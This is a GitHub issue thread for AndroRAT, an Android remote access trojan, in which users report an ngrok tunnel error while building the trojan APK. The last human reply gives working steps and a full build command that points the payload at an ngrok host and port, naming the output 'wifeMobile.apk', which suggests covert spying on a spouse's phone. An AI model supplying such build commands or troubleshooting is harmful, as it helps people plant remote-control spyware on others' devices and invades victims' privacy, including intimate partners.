AndroRAT icon indicating copy to clipboard operation
AndroRAT copied to clipboard

Pls help

Open vishram56 opened this issue 3 years ago • 3 comments

Traceback (most recent call last): File "/usr/local/lib/python3.9/dist-packages/pyngrok/ngrok.py", line 440, in api_request response = urlopen(request, data, timeout) File "/usr/lib/python3.9/urllib/request.py", line 214, in urlopen return opener.open(url, data, timeout) File "/usr/lib/python3.9/urllib/request.py", line 523, in open response = meth(req, response) File "/usr/lib/python3.9/urllib/request.py", line 632, in http_response response = self.parent.error( File "/usr/lib/python3.9/urllib/request.py", line 561, in error return self._call_chain(*args) File "/usr/lib/python3.9/urllib/request.py", line 494, in _call_chain result = func(*args) File "/usr/lib/python3.9/urllib/request.py", line 641, in http_error_default raise HTTPError(req.full_url, code, msg, hdrs, fp) urllib.error.HTTPError: HTTP Error 502: Bad Gateway

During handling of the above exception, another exception occurred:

Traceback (most recent call last): File "/root/AndroRAT/androRAT.py", line 48, in tcp_tunnel = ngrok.connect(port, "tcp") File "/usr/local/lib/python3.9/dist-packages/pyngrok/ngrok.py", line 255, in connect tunnel = NgrokTunnel(api_request("{}/api/tunnels".format(api_url), method="POST", data=options, File "/usr/local/lib/python3.9/dist-packages/pyngrok/ngrok.py", line 461, in api_request raise PyngrokNgrokHTTPError("ngrok client exception, API returned {}: {}".format(status_code, response_data), pyngrok.exception.PyngrokNgrokHTTPError: ngrok client exception, API returned 502: {"error_code":103,"status_code":502,"msg":"failed to start tunnel","details":{"err":"TCP tunnels are only available after you sign up.\nSign up at: https://dashboard.ngrok.com/signup\n\nIf you have already signed up, make sure your authtoken is installed.\nYour authtoken is available on your dashboard: https://dashboard.ngrok.com/get-started/your-authtoken\r\n\r\nERR_NGROK_302\r\n"}}

vishram56 avatar May 10 '22 14:05 vishram56

i have the same problem

schieferzahn avatar May 11 '22 18:05 schieferzahn

It shows this Error when I build the apk like this. python3 androRAT.py --build --ngrok -p 4444 -o plswork.apk

schieferzahn avatar May 13 '22 18:05 schieferzahn

free version of ngrok doesnt support tcp port 4444 only 80 i think. when you run ngrok in the terminal copy the value of "Forwarding" and use it in --build parameters. for example:

ngrok Forwarding tcp://2.tcp.ngrok.io:11654 -> localhost: 4444

back to androRAT

pthon3 androRAT.py --build -i 2.tcp.ngrok.io -p 11654 -o wifeMobile.apk

rzgarespo avatar May 17 '22 21:05 rzgarespo

This issue is stale because it has been open for 30 days with no activity.

github-actions[bot] avatar Dec 05 '23 02:12 github-actions[bot]

This issue was closed because it has been inactive for 7 days since being marked as stale.

github-actions[bot] avatar Dec 12 '23 02:12 github-actions[bot]